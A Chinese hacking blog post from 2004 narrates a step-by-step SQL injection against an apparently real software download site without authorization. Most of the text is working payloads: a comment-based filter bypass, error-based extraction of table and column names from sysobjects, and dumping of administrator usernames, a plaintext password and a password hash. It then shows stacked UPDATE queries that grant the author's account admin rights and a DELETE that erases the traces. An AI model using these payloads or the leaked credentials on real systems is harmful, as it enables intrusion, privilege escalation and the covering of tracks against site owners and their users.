渗入某下载系统全过程

时间:2004-5-5

BY:CRAZYSOUL
FROM:http://www.80age.net/bbs
欢迎转载,但请保留版权和出处

正在无聊时,一位网友发给我一条地址,说是被过滤了空格和一些特殊符号,看看能不能用SQL注入.

http://soft.xxxx.net/SoftView.Asp?SoftID=850
(地址已经打了格子)

一看就知道是典型的数字型,
先用'加在最后测试一下,
返回出错信息:
Microsoft OLE DB Provider for SQL Server 错误

可以看出是SQL服务器,再用最通用的语句来检测能否注入,即在后面加上:
and 1=1
(注意前面是有空格的)

没有正常返回,提示出错.

醒起网友说被过滤了空格,没问题,换成这样:

/**/and/**/1=1

(把用/**/替换了空格)
成功通过,页面跟没加这一句的效果一样.因为当这句通过softid这个参数传递后,在SQL语句中就变成大概这样:

"select xxx from xxx where softid=850 and 1=1"

后面的就是我加的,对原来的条件没有丝毫影响,所以页面会照常显示.

这句顺利通过,说明能注入的机会很大(但并不是百分百,我遇到限制长度的,制造假象,让你白忙半天,这将在下一篇说).

看看有没有简单的表名:

and (select count(*) from [admin])>0

转换空格为

/**/and/**/(select/**/count(*)/**/from/**/[admin])>0

(下面没有说明的都是经过替换空格的,为了看着舒服,就保留了空格)

成功,证明有表admin

继续看看还有没其他简单的表名:
and (select count(*) from [down])>0

没通过,没有..

回头看看刚才的admin表,看名字是应该记录管理员数据的,当然不能轻易放过

看看有多少条记录:
/**/and/**/(select/**/count(*)/**/from/**/admin)>1
                                                >2
.......

最后
/**/and/**/(select/**/count(*)/**/from/**/admin)=8

晕,竟然有8个管理员

看看有没有简单字段:
and (select count(username) from admin)>0

返回出错信息:

----------------------
Microsoft OLE DB Provider for SQL Server 错误 '80040e14' 

聚合不应出现在 WHERE 子句中，除非该聚合位于 HAVING 子句或选择列表所包含的子查询中，并且要对其进行聚合的列是外部引用。 

/SoftView.Asp，行 14
------------------------ 

证明有username字段

看看第一个管理员的名字有多长:
and (select top 1 len(username) from admin)=11

11....算了,懒得再猜了,把所有表都暴出来吧.

　

先测试一下这句

and (select top 1 len(name) from sysobjects where xtype='u' and status>0)>1

变身,呵呵

/**/and/**/(select/**/top/**/1/**/len(name)/**/from/**/sysobjects/**/where/**/xtype=%27u%27/**/and/**/status>0)>1

(注意,这里不但替换掉了空格,还有'也要替换成%27,前面说了,这个站过滤了一些特殊符号,不替换语句会出错的.)

顺利执行,刚才这句只不过是试探能不能顺利执行的.

下面的才是正戏:

经典的一句:
and 1=(select top 1 name from sysobjects where xtype=%27u%27 and status>0)

这句得到期待的出错信息:

--------------------------
Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 

将 nvarchar 值 'a_cat' 转换为数据类型为 int 的列时发生语法错误。 

/SoftView.Asp，行 14 
-------------------
　

看,得到表名 a_cat

测试下是否有ID这个字段:
and 1<(select id from sysobjects where xtype=%27u%27 and name=%27a_cat%27)

一般都会有的,看来太过通用可能有时也是种错,呵呵.

精彩的来了

最强的一句:
and 1=(select top 1 name from sysobjects where xtype=%27u%27 and id>(select id from sysobjects where xtype=%27u%27 and 
name=%27a_cat%27))

这是得到下一个表名,以此类推,每个表名都能找到它的下一个表名.

如此循环,得到所有表名如下:
a_cat
art
allcount
vcount
online
votetopic
voteitem
soft
reply
news
gb
friendlink
flcat
diary
d_remark
d_class
d_cat
cscat
coolsites
admin
SoftDown_online
SoftDown_DayUpdate
SoftDown_Cate
SoftDown_SoftEssay
SoftDown_SoftLink
SoftDown_SubCate
Admin_UserInfo
SoftDown_SoftInfo
dtproperties

统计下共有几个表,猜上瘾了,汗~~:
and (select count(*) from sysobjects where xtype=%27u%27 and status>0)>1
                                                                      >2
                                                                      ...
                                                                      =28
MD,竟然有28个.

表都出来了,暴字段吧,活活

先暴admin的

and 1=(select top 1 col_name(object_id(%27admin%27),1) from admin)
得到下面的

-----------------------------
Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 

将 nvarchar 值 'admin_id' 转换为数据类型为 int 的列时发生语法错误。 

/SoftView.Asp，行 14 
-----------
　

得到字段名:admin_id

同样
and 1=(select top 1 col_name(object_id(%27admin%27),2) from admin)
.
.
.
得到所有的:

admin_id
admin_name
admin_password
issuper

直觉告诉还要再看看Admin_UserInfo的(其实俺的直觉还挺好的,呵呵)

and 1=(select top 1 col_name(object_id(%27Admin_UserInfo%27),1) from Admin_UserInfo)

UserID
UserName
PassWord
Email
RegDate
isActive
isAdmin
CatePub
CateAdm
CategoryName

　

先从ADMIN表选一个号试试:

and 1=(select top 1 admin_name from admin)

得到:admin

and 1=(select top 1 username from admin)

用户名:freedom1980

and 1=(select top 1 admin_password from admin)

密码:bishop62404

不能登陆,选另外一个表.(事后发觉该站可能是把两个站的数据表放到同一个数据库里了,所以才有两个管理员的数据表)

看看Admin_UserInfo
　

and 1=(select top 1 username from Admin_UserInfo)
名字:bisheng

and 1=(select top 1 PassWord from Admin_UserInfo)
密码:196a4758191e42f7

MD,可能加了密了

灵机一动,
检查isAdmin是什么值
and 1=(select top 1 isAdmin from Admin_UserInfo)

isAdmin=1

自己注册个新的用户先,俺习惯用"crazy".
猜他的用户登陆页面的地址:
admin_index.asp(通用性太强了...)

注册了,不能登陆,说是被锁定了之类.

检查自己的isActive是什么值:
and 1=(select isActive from Admin_UserInfo where UserName=%27crazy%27)

isActive=0

也检查isAdmin是什么值:
and 1=(select isAdmin from Admin_UserInfo where UserName=%27crazy%27)

isAdmin=0

顺便看一下自己的密码:
and 1=(select PassWord from Admin_UserInfo where UserName=%27crazy%27)
49ba59abbe56e057=123456

果然是加了密.

还等什么提升自己的权力吧
%3Bupdate Admin_UserInfo set isActive=1 where UserName=%27crazy%27%3B--

%3Bupdate Admin_UserInfo set isAdmin=1 where UserName=%27crazy%27%3B--

(注:%3B 是用来替换;号的, "--"这个是为了把后面的语句注释掉,MS SQL就是爽!)

　

OK,进后台看看

管理员同志好像是:
magicring

替换他的密码,嘻嘻,我才没那么缺德呢.

查查看是什么下载系统:

检查是
ActiveDown System XP Advanced Edition Ver1.3
动感下载系统XP高级版 Ver1.3
系统特性：批量生成静态页面，功能强大，用户访问速度极度优化，减轻服务器负担。（真的假的？）
　

搞掂,清理痕迹:
%3Bdelete from Admin_UserInfo where UserName=%27crazy%27%3B--

这次纯粹技术性渗入,没有破坏任何数据.

下次再说说怎样注入一个收费电影站.